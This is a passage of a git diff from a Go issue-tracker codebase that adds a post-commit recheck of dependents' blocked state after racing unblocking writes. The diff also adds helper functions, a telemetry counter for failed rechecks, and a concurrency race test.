"UPDATE issues SET status = 'closed' WHERE id = ?", "bd-del-rib-blocker") s.Require().NoError(err) - s.Require().NoError(s.issueRepo().RecomputeIsBlocked(s.Ctx(), + s.Require().NoError(s.issueRepo().RecomputeIsBlockedAfterDelete(s.Ctx(), nil, []string{"bd-del-rib-depender"}, nil)) s.Require().NoError(s.Runner().QueryRowContext(s.Ctx(), "SELECT is_blocked FROM issues WHERE id = ?", "bd-del-rib-depender").Scan(&blocked)) diff --git a/internal/storage/domain/db/dependency.go b/internal/storage/domain/db/dependency.go index ced0d22bc..f6a213a65 100644 --- a/internal/storage/domain/db/dependency.go +++ b/internal/storage/domain/db/dependency.go @@ -414,6 +414,7 @@ func (r *dependencySQLRepositoryImpl) Delete(ctx context.Context, issueID, depen if err := issueops.RecomputeIsBlockedInTx(ctx, r.runner, affectedIssues, affectedWisps); err != nil { return domain.DepDeleteResult{}, fmt.Errorf("db: DependencySQLRepository.Delete: recompute is_blocked: %w", err) } + issueops.NoteDependencyRemovalBlockedRecheck(r.runner, issueID, dependsOnID, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on opts.EmitEvent — a structural removal is as real to a diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index c490a29b6..24f6e847d 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -329,6 +329,9 @@ func (r *issueSQLRepositoryImpl) Update(ctx context.Context, id string, updates if err := issueops.RecomputeIsBlockedInTx(ctx, r.runner, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("db: Update %s: recompute is_blocked: %w", id, err) } + if !newActive { + issueops.NoteStatusChangeBlockedRecheck(r.runner, id, string(newStatus), affectedIssues, affectedWisps) + } } } // Snapshot only after all derived blocked-state maintenance has completed. @@ -1081,8 +1084,12 @@ func (r *issueSQLRepositoryImpl) AffectedByDeletion(ctx context.Context, issueID return issueops.AffectedByDeletionInTx(ctx, r.runner, issueIDs, wispIDs) } -func (r *issueSQLRepositoryImpl) RecomputeIsBlocked(ctx context.Context, issueIDs, wispIDs []string) error { - return issueops.RecomputeIsBlockedInTx(ctx, r.runner, issueIDs, wispIDs) +func (r *issueSQLRepositoryImpl) RecomputeIsBlockedAfterDelete(ctx context.Context, deletedIDs, issueIDs, wispIDs []string) error { + if err := issueops.RecomputeIsBlockedInTx(ctx, r.runner, issueIDs, wispIDs); err != nil { + return err + } + issueops.NoteDeleteBlockedRecheck(r.runner, deletedIDs, "", issueIDs, wispIDs) + return nil } func (r *issueSQLRepositoryImpl) AsOf(ctx context.Context, id, ref string) (*types.Issue, error) { diff --git a/internal/storage/domain/issue.go b/internal/storage/domain/issue.go index a8137338a..c73f2c4d2 100644 --- a/internal/storage/domain/issue.go +++ b/internal/storage/domain/issue.go @@ -89,7 +89,10 @@ type IssueSQLRepository interface { FindAllDependents(ctx context.Context, ids []string) ([]string, error) FindWispDependentsRecursive(ctx context.Context, ids []string) (map[string]bool, error) AffectedByDeletion(ctx context.Context, issueIDs, wispIDs []string) (affectedIssues, affectedWisps []string, err error) - RecomputeIsBlocked(ctx context.Context, issueIDs, wispIDs []string) error + // RecomputeIsBlockedAfterDelete recomputes the blocked state of the + // dependents a delete of deletedIDs affected, and records them for the + // post-commit recheck the unit of work runs (gastownhall/beads#6716). + RecomputeIsBlockedAfterDelete(ctx context.Context, deletedIDs, issueIDs, wispIDs []string) error Close(ctx context.Context, id string, params CloseRowParams, actor string, opts IssueTableOpts) (CloseRowResult, error) CloseChecked(ctx context.Context, id string, params CloseRowParams, actor string, force bool) (CloseRowResult, error) Reopen(ctx context.Context, id string, params ReopenRowParams, actor string, opts IssueTableOpts) (ReopenRowResult, error) diff --git a/internal/storage/domain/issue_delete.go b/internal/storage/domain/issue_delete.go index 442c9f181..d7727546a 100644 --- a/internal/storage/domain/issue_delete.go +++ b/internal/storage/domain/issue_delete.go @@ -211,7 +211,7 @@ func (u *issueUseCaseImpl) deleteMany(ctx context.Context, params DeleteIssuesPa result.ReferencesUpdated = refs } - if err := u.issueRepo.RecomputeIsBlocked(ctx, affectedIssues, affectedWisps); err != nil { + if err := u.issueRepo.RecomputeIsBlockedAfterDelete(ctx, allIDs, affectedIssues, affectedWisps); err != nil { return result, fmt.Errorf("delete: recompute is_blocked: %w", err) } diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 12dd98b64..eddfe312a 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -11,6 +11,7 @@ go_library( "blocked_consistency.go", "blocked_merge.go", "blocked_recheck.go", + "blocked_recheck_report.go", "blocked_state.go", "blocking_annotation.go", "bootstrap.go", @@ -112,6 +113,8 @@ go_library( "@com_github_dolthub_go_mysql_server//sql", "@com_github_go_sql_driver_mysql//:mysql", "@com_github_gowebpki_jcs//:jcs", + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel_metric//:metric", ], ) diff --git a/internal/storage/issueops/blocked_recheck.go b/internal/storage/issueops/blocked_recheck.go index fe55241af..98dcd1ba6 100644 --- a/internal/storage/issueops/blocked_recheck.go +++ b/internal/storage/issueops/blocked_recheck.go @@ -39,36 +39,26 @@ import ( // // # What is scoped, and what is not // -// Recording only reaches a recheck through a transaction a store scoped (see -// ScopeBlockedRecheckTransaction), and exactly two write runners scope one: -// DoltStore's commitWriteTx and EmbeddedDoltStore's commitConn. A write that -// reaches this package on any other transaction records nothing and behaves -// exactly as it did before the recheck existed — the skew above survives on -// it. Those routes are known and deliberately out of scope here: +// Recording only reaches a recheck through a transaction a write runner +// scoped (see ScopeBlockedRecheckTransaction). The runners that scope one, +// and settle what it recorded once it has committed, are: // -// - the uow/domain-db routing system (internal/storage/uow, with the -// in-transaction recomputes at internal/storage/domain/db/issue.go and -// dependency.go), which serves `bd batch` when proxied and every write a -// uow provider serves. Scoping it needs more than these two lines: -// doltServerTx.Runner() hands out the pinned *sql.Conn, not the *sql.Tx -// this package keys its scope on, so the key has to be threaded through -// the wrapper — the caveat below, already real rather than hypothetical. -// - storage.Transaction (internal/storage/dolt/transaction.go, reached -// through DoltStore.RunInTransaction on a pinned connection), which is -// how `bd batch` closes, status updates and dep removals land when not -// proxied, and how `bd cook`'s proto-subgraph delete, `bd mol squash` and -// `bd mol burn` delete and close. -// - the legacy DoltStore.RemoveDependencyWithOptions (raw BeginTx in -// internal/storage/dolt/dependencies.go), which `bd duplicates --merge` -// uses to remove parent-child edges. -// - the wisp writers (internal/storage/dolt/wisps.go closeWisp/updateWisp/ -// deleteWisp and ephemeral_routing.go's demote-to-wisp), which run raw -// unscoped transactions. The recompute joins depends_on_wisp_id, so a -// permanent issue blocked by two wisps whose removals race keeps the same -// stale flag. +// - DoltStore's commitWriteTx (withWriteTx/withRetryTx), its storage.Transaction +// runner (RunInTransaction, which scopes both its regular and its ignored +// transaction), and the raw transactions of its wisp writers and of the +// legacy RemoveDependencyWithOptions; +// - EmbeddedDoltStore's commitConn, which every embedded write, including +// RunInTransaction, goes through; +// - the uow Tx (internal/storage/uow), which serves every write a uow +// provider serves: the proxied CLI, `bd batch` when proxied, and bd serve. +// It scopes the pinned *sql.Conn its repositories run on, and the +// domain/db repositories record through the Note* helpers below exactly +// where the issueops write paths do. // -// Every one of these leaves the pre-existing, operator-repairable state -// (`bd doctor`, `bd recompute-blocked`); none is made worse by the recheck. +// A write that reaches this package on any other transaction records nothing +// and behaves exactly as it did before the recheck existed; that leaves the +// operator-repairable state (`bd doctor`, `bd recompute-blocked`) the recheck +// was added to prevent. type BlockedRecheck struct { IssueIDs []string WispIDs []string @@ -228,6 +218,43 @@ func TakeBlockedRecheck(tx DBTX) BlockedRecheck { return taken } +// Merge returns the union of r and other: every id either recorded, and the +// sources and counts of both. A runner that scoped two transactions for one +// write (DoltStore's split regular/ignored transactions) settles them with one +// recheck. +func (r BlockedRecheck) Merge(other BlockedRecheck) BlockedRecheck { + merged := BlockedRecheck{SourceCount: r.SourceCount + other.SourceCount} + merged.IssueIDs, _ = appendRecheckIDs(append([]string(nil), r.IssueIDs...), other.IssueIDs, nil) + merged.WispIDs, _ = appendRecheckIDs(append([]string(nil), r.WispIDs...), other.WispIDs, nil) + merged.Sources, _ = appendRecheckIDs(append([]string(nil), r.Sources...), other.Sources, nil) + if len(merged.Sources) > recheckSourceLimit { + merged.Sources = merged.Sources[:recheckSourceLimit] + } + return merged +} + +// NoteStatusChangeBlockedRecheck records, for the post-commit recheck, the +// dependents a move of id to the inactive newStatus (a close included) +// recomputed in tx. The issue itself is excluded: a concurrent writer +// conflicts on its row rather than racing past it. +func NoteStatusChangeBlockedRecheck(tx DBTX, id, newStatus string, affectedIssues, affectedWisps []string) { + noteBlockedRecheck(tx, statusChangeRecheckLabel(id, newStatus), []string{id}, affectedIssues, affectedWisps) +} + +// NoteDependencyRemovalBlockedRecheck records the dependents a removal of the +// issueID -> dependsOnID edge recomputed in tx. Nothing is excluded: the +// dependent is exactly the row a racing unblocking write can leave stale. +func NoteDependencyRemovalBlockedRecheck(tx DBTX, issueID, dependsOnID string, affectedIssues, affectedWisps []string) { + noteBlockedRecheck(tx, fmt.Sprintf("dependency removal %s -> %s", issueID, dependsOnID), nil, affectedIssues, affectedWisps) +} + +// NoteDeleteBlockedRecheck records the dependents a delete of deletedIDs +// recomputed in tx, leaving out the deleted rows themselves. scope, when set, +// says where the ids came from ("from "). +func NoteDeleteBlockedRecheck(tx DBTX, deletedIDs []string, scope string, affectedIssues, affectedWisps []string) { + noteBlockedRecheck(tx, deleteRecheckLabel(deletedIDs, scope), deletedIDs, affectedIssues, affectedWisps) +} + // noteBlockedRecheck records the dependents a write recomputed in tx. source // labels the write for the recheck's commit message. exclude names ids this // call leaves out: for a close or status update, the issue whose row this diff --git a/internal/storage/issueops/blocked_recheck_report.go b/internal/storage/issueops/blocked_recheck_report.go new file mode 100644 index 000000000..eb09b5ba5 --- /dev/null +++ b/internal/storage/issueops/blocked_recheck_report.go @@ -0,0 +1,39 @@ +package issueops + +import ( + "context" + "log" + + "go.opentelemetry.io/otel" + "go.opentelemetry.io/otel/metric" +) + +// blockedRecheckDropped counts post-commit rechecks that failed. It is +// registered on the storage meter every write runner reports through, against +// the global delegating provider, so it forwards once telemetry.Init() runs. +var blockedRecheckDropped metric.Int64Counter + +func init() { + blockedRecheckDropped, _ = otel.Meter("github.com/steveyegge/beads/storage/dolt").Int64Counter("bd.db.blocked_recheck_dropped", + metric.WithDescription("Post-commit blocked-state rechecks abandoned; the write landed but dependents may carry a stale is_blocked flag until `bd recompute-blocked`"), + metric.WithUnit("{recheck}"), + ) +} + +// ReportBlockedRecheckFailure is the one channel a write runner reports a +// failed post-commit recheck through, instead of returning it: the write it +// followed is committed and durable, and every caller of a store write reads +// an error as "the mutation did not land", so surfacing this one would make +// automated callers retry and double-apply. What is left behind is the stale +// is_blocked flag `bd doctor` and `bd recompute-blocked` repair. +// +// Because the failure stops here, the counter and the line are its only +// trace. The counter is what a fleet alerts on; the line names the rows to +// repair. +func ReportBlockedRecheckFailure(ctx context.Context, pending BlockedRecheck, err error) { + if err == nil { + return + } + blockedRecheckDropped.Add(ctx, 1) + log.Printf("warning: %s", BlockedRecheckFailureMessage(pending, err)) +} diff --git a/internal/storage/issueops/bulk_ops.go b/internal/storage/issueops/bulk_ops.go index e96d5b513..636ae1819 100644 --- a/internal/storage/issueops/bulk_ops.go +++ b/internal/storage/issueops/bulk_ops.go @@ -234,7 +234,7 @@ func DeleteIssuesBySourceRepoInTx(ctx context.Context, tx *sql.Tx, sourceRepo st if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return int(rowsAffected), fmt.Errorf("recompute is_blocked after source-repo delete: %w", err) } - noteBlockedRecheck(tx, deleteRecheckLabel(issueIDs, "from "+sourceRepo), issueIDs, affectedIssues, affectedWisps) + NoteDeleteBlockedRecheck(tx, issueIDs, "from "+sourceRepo, affectedIssues, affectedWisps) return int(rowsAffected), nil } diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 5f571b62d..54b5a4bf6 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -381,7 +381,7 @@ func closeIssueInTx(ctx context.Context, tx DBTX, id string, reason, actor, sess if err != nil { return nil, fmt.Errorf("recompute is_blocked after close for %s: %w", id, err) } - noteBlockedRecheck(tx, statusChangeRecheckLabel(id, string(types.StatusClosed)), []string{id}, affectedIssues, affectedWisps) + NoteStatusChangeBlockedRecheck(tx, id, string(types.StatusClosed), affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // recordEvent gates the human audit event, never the journal — nor the diff --git a/internal/storage/issueops/delete.go b/internal/storage/issueops/delete.go index e0406c8f2..f94f48ec2 100644 --- a/internal/storage/issueops/delete.go +++ b/internal/storage/issueops/delete.go @@ -51,7 +51,7 @@ func DeleteIssueInTx(ctx context.Context, tx *sql.Tx, id string, actor string) e if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("recompute is_blocked after delete for %s: %w", id, err) } - noteBlockedRecheck(tx, deleteRecheckLabel([]string{id}, ""), []string{id}, affectedIssues, affectedWisps) + NoteDeleteBlockedRecheck(tx, []string{id}, "", affectedIssues, affectedWisps) return nil } @@ -392,7 +392,7 @@ func DeleteResolvedSetInTx(ctx context.Context, tx *sql.Tx, set DeletionSet, dry if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return nil, fmt.Errorf("recompute is_blocked after batch delete: %w", err) } - noteBlockedRecheck(tx, deleteRecheckLabel(set.All, ""), set.All, affectedIssues, affectedWisps) + NoteDeleteBlockedRecheck(tx, set.All, "", affectedIssues, affectedWisps) return result, nil } diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index 3467900af..400824cba 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -1143,9 +1143,7 @@ func removeDependencyInTx(ctx context.Context, tx *sql.Tx, issueID, dependsOnID, return false, fmt.Errorf("recompute is_blocked after remove dependency %s -> %s: %w", issueID, dependsOnID, err) } mergeRecomputeIsBlockedResult(recomputeResult, recomputed) - // The dependent is exactly the row a racing unblocking write can leave - // stale, so nothing is excluded from the post-commit recheck. - noteBlockedRecheck(tx, fmt.Sprintf("dependency removal %s -> %s", issueID, dependsOnID), nil, affectedIssues, affectedWisps) + NoteDependencyRemovalBlockedRecheck(tx, issueID, dependsOnID, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on emitEvent — a structural removal is as real to a replaying // consumer as one from an explicit dep verb. The same holds for the diff --git a/internal/storage/issueops/update.go b/internal/storage/issueops/update.go index 4a73157c2..44add0cea 100644 --- a/internal/storage/issueops/update.go +++ b/internal/storage/issueops/update.go @@ -542,7 +542,7 @@ func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string updateResult.IssueRowsChanged = !isWisp || recompute.IssueRowsChanged updateResult.WispRowsChanged = isWisp || recompute.WispRowsChanged if !newActive { - noteBlockedRecheck(tx, statusChangeRecheckLabel(id, newStatus), []string{id}, affectedIssues, affectedWisps) + NoteStatusChangeBlockedRecheck(tx, id, newStatus, affectedIssues, affectedWisps) } } } diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index 79d948dab..1a98ccda7 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -7,6 +7,7 @@ go_library( "batch_applier.go", "batch_closer.go", "batch_creator.go", + "blocked_recheck.go", "blockingannotator.go", "bootstrapper.go", "commenter.go", @@ -82,6 +83,7 @@ go_test( "batch_apply_contract_test.go", "batch_closer_contract_test.go", "batch_creator_contract_test.go", + "blocked_recheck_race_test.go", "blocking_annotator_contract_test.go", "bootstrapper_contract_test.go", "claimer_contract_test.go", diff --git a/internal/storage/uow/blocked_recheck.go b/internal/storage/uow/blocked_recheck.go new file mode 100644 index 000000000..4fc2ca8eb --- /dev/null +++ b/internal/storage/uow/blocked_recheck.go @@ -0,0 +1,80 @@ +package uow + +import ( + "context" + "fmt" + + "github.com/cenkalti/backoff/v4" + + "github.com/steveyegge/beads/internal/storage/issueops" +) + +// recheckBlockedAfterCommit recomputes, on the pinned session and a fresh +// snapshot, the blocked state of the dependents a committed unit of work's +// unblocking writes recorded (gastownhall/beads#6716). The in-transaction +// recompute read that unit of work's start snapshot, so two proxied writes +// racing on the blockers of one dependent each saw the other blocker still in +// place and both committed leaving it blocked and hidden from `bd ready`. A +// recompute over the same ids after commit sees both writes. +// +// It runs no SQL when nothing was recorded. It commits the way the unit of +// work did (commitStatement): a Dolt commit named for the writes when it +// changed an issues row and version commits are not deferred, a plain COMMIT +// otherwise. A serialization loss is retried on a new transaction. +// +// The write it follows is durable, so a failure is reported through +// issueops.ReportBlockedRecheckFailure (the counter and warning the store +// runners use), never returned: an error from Commit tells every caller the +// write did not land. What a failure +// leaves is the stale flag `bd doctor` and `bd recompute-blocked` repair. It +// reports whether the session is clean enough to go back to the pool; false +// means a transaction may still be open on it and it must be poisoned. +func (t *doltServerTx) recheckBlockedAfterCommit(ctx context.Context, pending issueops.BlockedRecheck) bool { + if pending.Empty() || issueops.InBlockedRecheck(ctx) { + return true + } + ctx, cancel := issueops.BlockedRecheckContext(ctx) + defer cancel() + + bo := backoff.NewExponentialBackOff() + bo.InitialInterval = txRetryInitialInterval + bo.MaxElapsedTime = DefaultTxRetryMaxElapsed + clean := true + err := backoff.Retry(func() error { + err := t.recheckBlockedOnce(ctx, pending) + if err == nil || isSerializationError(err) { + // A serialization failure means the server already rolled the + // transaction back, so the session is idle for the next attempt. + return err + } + if _, rbErr := t.conn.ExecContext(ctx, "ROLLBACK;"); rbErr != nil { + clean = false + } + return backoff.Permanent(err) + }, backoff.WithContext(bo, ctx)) + if err != nil { + issueops.ReportBlockedRecheckFailure(ctx, pending, issueops.BlockedRecheckFailed(err)) + } + return clean +} + +// recheckBlockedOnce is one recheck transaction on the pinned session. +func (t *doltServerTx) recheckBlockedOnce(ctx context.Context, pending issueops.BlockedRecheck) error { + if _, err := t.conn.ExecContext(ctx, "START TRANSACTION;"); err != nil { + return fmt.Errorf("begin recheck: %w", err) + } + result, err := issueops.RecomputeIsBlockedInTxWithResult(ctx, t.conn, pending.IssueIDs, pending.WispIDs) + if err != nil { + return err + } + message := "" + if result.IssueRowsChanged { + message = pending.CommitMessage() + } + stmt, args, err := t.commitStatement(ctx, message) + if err != nil { + return err + } + _, err = t.conn.ExecContext(ctx, stmt, args...) + return err +} diff --git a/internal/storage/uow/blocked_recheck_race_test.go b/internal/storage/uow/blocked_recheck_race_test.go new file mode 100644 index 000000000..c03cfb386 --- /dev/null +++ b/internal/storage/uow/blocked_recheck_race_test.go @@ -0,0 +1,174 @@ +package uow + +import ( + "context" + "slices" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" +) + +// TestProxiedBlockedRecheckAfterRacingUnblocks is gastownhall/beads#6716 on +// the proxied (uow) write path, the one every proxied `bd close`, +// `bd update --status closed`, `bd dep remove`, `bd delete`, proxied batch +// close and bd serve reach. +// +// Two blockers A and B of one dependent C are taken away by two units of +// work whose transactions overlap: the first begins and writes while both +// blockers are open, the second then writes and commits, and the first +// commits last. Each in-transaction recompute saw the other blocker still in +// place, so neither wrote C, and without a post-commit recheck C stays +// is_blocked=1 and hidden from ready work on every committed snapshot. +func TestProxiedBlockedRecheckAfterRacingUnblocks(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) + defer cancel() + const prefix = "rbr" + provider := newUOWRoleFixtureProvider(t, ctx, prefix) + kit := newUOWRoleFixtureKit(provider, prefix) + + closeIssue := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().CloseIssue(ctx, id, domain.CloseIssueParams{Reason: "done"}, "racer") + return err + } + } + closeChecked := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().CloseIssueChecked(ctx, id, domain.CloseIssueParams{Reason: "done"}, "racer", false) + return err + } + } + updateClosed := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + return uw.IssueUseCase().UpdateIssue(ctx, id, map[string]any{"status": string(types.StatusClosed)}, "racer") + } + } + closeWisp := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().CloseWisp(ctx, id, domain.CloseIssueParams{Reason: "done"}, "racer") + return err + } + } + + cases := []struct { + name string + // wispBlockers seeds A and B as wisps instead of issues. + wispBlockers bool + // first and second take blocker A and blocker B away; first commits last. + first, second func(a, b, c string) func(context.Context, UnitOfWork) error + }{ + { + name: "close vs close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return closeIssue(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + // The batch closer's per-item close (bd close a b, proxied). + name: "checked close vs checked close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return closeChecked(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeChecked(b) }, + }, + { + // bd update --status closed, proxied. + name: "update to closed vs close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return updateClosed(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + name: "dependency removal vs close", + first: func(a, _, c string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + return uw.DependencyUseCase().RemoveDependency(ctx, c, a, "racer") + } + }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + name: "delete vs close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().DeleteIssues(ctx, domain.DeleteIssuesParams{IDs: []string{a}, EnforceCascadePolicy: true, Force: true}, "racer") + return err + } + }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + name: "wisp close vs wisp close", + wispBlockers: true, + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return closeWisp(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeWisp(b) }, + }, + } + + for i, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + n := string(rune('a' + i)) + a, b, c := prefix+"-"+n+"blka", prefix+"-"+n+"blkb", prefix+"-"+n+"dep" + seed := kit.CreateIssue + if tc.wispBlockers { + seed = kit.CreateWisp + } + for _, id := range []string{a, b} { + if err := seed(ctx, &types.Issue{ID: id, Title: id, IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 2}, "seeder"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + if err := kit.CreateIssue(ctx, &types.Issue{ID: c, Title: c, IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 2}, "seeder"); err != nil { + t.Fatalf("seed %s: %v", c, err) + } + for _, blocker := range []string{a, b} { + if err := kit.AddDependency(ctx, &types.Dependency{IssueID: c, DependsOnID: blocker, Type: types.DepBlocks}, "seeder"); err != nil { + t.Fatalf("add %s -> %s: %v", c, blocker, err) + } + } + requireBlocked(t, ctx, kit, c, true) + + first, err := provider.NewUOW(ctx) + if err != nil { + t.Fatalf("open first unit of work: %v", err) + } + defer first.Close(ctx) + if err := tc.first(a, b, c)(ctx, first); err != nil { + t.Fatalf("first write: %v", err) + } + + if err := RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + return "second racing write", tc.second(a, b, c)(ctx, uw) + }); err != nil { + t.Fatalf("second write: %v", err) + } + // The second write's own recheck ran while the first was still + // uncommitted, so the dependent is legitimately still blocked. + requireBlocked(t, ctx, kit, c, true) + + if err := first.Commit(ctx, "first racing write"); err != nil { + t.Fatalf("commit first write: %v", err) + } + + requireBlocked(t, ctx, kit, c, false) + ready, err := RunTxRead(ctx, provider, func(ctx context.Context, uw UnitOfWork) (domain.SearchPage, error) { + return uw.IssueUseCase().GetReadyWork(ctx, types.WorkFilter{}) + }) + if err != nil { + t.Fatalf("ready work: %v", err) + } + if !slices.ContainsFunc(ready.Items, func(i *types.Issue) bool { return i.ID == c }) { + t.Fatalf("%s has no open blockers but is missing from ready work", c) + } + }) + } +} + +func requireBlocked(t *testing.T, ctx context.Context, kit roleFixtureKit, id string, want bool) { + t.Helper() + var blocked bool + if err := kit.QueryScalar(ctx, "SELECT is_blocked FROM issues WHERE id = ?", []any{id}, &blocked); err != nil { + t.Fatalf("read is_blocked of %s: %v", id, err) + } + if blocked != want { + t.Fatalf("%s is_blocked = %v, want %v", id, blocked, want) + } +} diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index 7acd42628..e80c119d1 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -193,11 +193,13 @@ func (p *doltSQLProvider) BeginTx(ctx context.Context) (Tx, error) { // UPDATE and the SELECT that must observe it are inside one transaction on // one session. Both scopes are released when the connection is // (doltServerTx.releaseConn / poisonConn), so an entry cannot outlive its - // transaction. + // transaction. The blocked-recheck scope is bound and released the same + // way; Commit takes what it recorded once the transaction has committed. return &doltServerTx{ conn: conn, clearJournalScope: issueops.ScopeEventsJournalTransaction(conn, p.eventsJournalEnabled.Load()), clearVersionScope: issueops.ScopeVersionedHistoryTransaction(conn, p.versionedHistoryEnabled.Load()), + clearRecheckScope: issueops.ScopeBlockedRecheckTransaction(conn), }, nil } diff --git a/internal/storage/uow/doltserver_tx.go b/internal/storage/uow/doltserver_tx.go index a97cf8036..4fd396e7a 100644 --- a/internal/storage/uow/doltserver_tx.go +++ b/internal/storage/uow/doltserver_tx.go @@ -22,6 +22,10 @@ type doltServerTx struct { // issue-version history: same binding at BeginTx, same release at // releaseConn/poisonConn. clearVersionScope func() + // clearRecheckScope is the same binding for the dependents this + // transaction's unblocking writes record for the post-commit + // blocked-state recheck (gastownhall/beads#6716). + clearRecheckScope func() } var _ Tx = (*doltServerTx)(nil) @@ -34,6 +38,51 @@ func (t *doltServerTx) Commit(ctx context.Context, message string) error { if t.done { return errors.New("uow: commit: already done") } + stmt, args, err := t.commitStatement(ctx, message) + if err != nil { + if isSerializationError(err) { + // As below: the server already rolled the transaction back and + // the caller retries the whole unit of work, so leave the + // pinned session in place for the retry. + return err + } + // A failed status check leaves the transaction open on the pinned + // session, exactly like a failed DOLT_COMMIT below: roll back + // before release, or poison the connection. + return t.closeOpenTxAfterFailure(ctx, err) + } + _, err = t.conn.ExecContext(ctx, stmt, args...) + if err == nil { + t.done = true + // The write is durable. Settle the dependents its unblocking writes + // recorded on a fresh snapshot before the pinned session goes back + // to the pool (gastownhall/beads#6716). A recheck failure is logged, + // never returned: the caller must not read a committed write as + // failed and replay it. + if t.recheckBlockedAfterCommit(ctx, issueops.TakeBlockedRecheck(t.conn)) { + t.releaseConn() + } else { + t.poisonConn() + } + return nil + } + if isSerializationError(err) { + // Serialization failures guarantee the transaction was already rolled + // back and the caller retries them, so leave the pinned session in place + // for the retry rather than tearing it down here. + return err + } + // A non-serialization DOLT_COMMIT failure leaves the transaction open on the + // pinned session. Roll it back before releasing the connection so the next + // borrower cannot inherit and implicitly commit the orphaned writes. If the + // rollback also fails the session state is unknown, so poison the connection + // and let the pool discard it instead of handing it out again. + return t.closeOpenTxAfterFailure(ctx, err) +} + +// commitStatement picks the statement that ends the open transaction on the +// pinned session for a commit named message. +func (t *doltServerTx) commitStatement(ctx context.Context, message string) (string, []interface{}, error) { // dolt.auto-commit=batch/off (GH#4995): defer the Dolt version commit to a // later explicit commit point (bd dolt commit), the same as the embedded // and direct SQL-server backends already do at their own commit sites @@ -90,41 +139,15 @@ func (t *doltServerTx) Commit(ctx context.Context, message string) error { // uow layer lets it surface as a lost-update signal // (lostupdate_dolt_test.go) — swallowing it a layer down could mask a // silently lost write. - pending, perr := issueops.HasPendingChanges(ctx, t.conn) - if perr != nil { - if isSerializationError(perr) { - // As below: the server already rolled the transaction back and - // the caller retries the whole unit of work, so leave the - // pinned session in place for the retry. - return perr - } - // A failed status check leaves the transaction open on the pinned - // session, exactly like a failed DOLT_COMMIT below: roll back - // before release, or poison the connection. - return t.closeOpenTxAfterFailure(ctx, perr) + pending, err := issueops.HasPendingChanges(ctx, t.conn) + if err != nil { + return "", nil, err } if !pending { stmt, args = "COMMIT;", nil } } - _, err := t.conn.ExecContext(ctx, stmt, args...) - if err == nil { - t.done = true - t.releaseConn() - return nil - } - if isSerializationError(err) { - // Serialization failures guarantee the transaction was already rolled - // back and the caller retries them, so leave the pinned session in place - // for the retry rather than tearing it down here. - return err - } - // A non-serialization DOLT_COMMIT failure leaves the transaction open on the - // pinned session. Roll it back before releasing the connection so the next - // borrower cannot inherit and implicitly commit the orphaned writes. If the - // rollback also fails the session state is unknown, so poison the connection - // and let the pool discard it instead of handing it out again. - return t.closeOpenTxAfterFailure(ctx, err) + return stmt, args, nil } // closeOpenTxAfterFailure finishes a Commit attempt that failed with the @@ -175,6 +198,7 @@ func (t *doltServerTx) rollbackConn(ctx context.Context) error { func (t *doltServerTx) releaseConn() { t.releaseJournalScope() t.releaseVersionScope() + t.releaseRecheckScope() if t.conn != nil { _ = t.conn.Close() t.conn = nil @@ -200,6 +224,15 @@ func (t *doltServerTx) releaseVersionScope() { } } +// releaseRecheckScope is releaseJournalScope's counterpart for the +// blocked-recheck scope. 